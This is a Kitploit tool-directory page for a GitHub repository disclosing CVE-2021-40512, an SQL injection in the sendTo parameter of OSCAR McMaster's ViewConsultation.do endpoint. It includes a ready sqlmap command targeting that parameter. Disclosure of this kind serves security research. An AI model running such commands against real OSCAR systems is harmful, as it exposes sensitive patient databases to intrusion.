Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-40512 — CVE-2021-40512 OSCAR McMaster 19.40~1235 SQL Injection Vulnerability. | Kitploit
Tools/GitHubGitHub/war4uthor/cve-2021-40512
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubwar4uthor/cve-2021-40512

CVE-2021-40512

CVE-2021-40512 OSCAR McMaster 19.40~1235 SQL Injection Vulnerability.

View Repository
4 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-40512 OSCAR McMaster 19.40~1235 SQL Injection Vulnerability

A SQL injection vulnerability exists in version 19.40~1235 of OSCAR McMaster. A malicious attacker can issue SQL commands to the MySQL/MariaDB database through the vulnerable sendTo parameter located on the /oscar/oscarEncounter/ViewConsultation.do endpoint.

[Placeholder for cve.mitre]

[Placeholder for nist]

Vulnerable JSP Page:

ViewConsultation.do - sendTo parameter

Vulnerable Payload:

sqlmap -u "/oscar/oscarEncounter/ViewConsultation.do?sendTo=&startDate=&endDate=&searchDate=0&currentTeam=&orderby=2&desc=0&offset=&limit=100&mrpNo=&patientId=&serviceFilter=&consultantFilter=&urgencyFilter=" --cookie= -p sendTo --banner

Discovered by Jack McBride, August 2021

Download Tool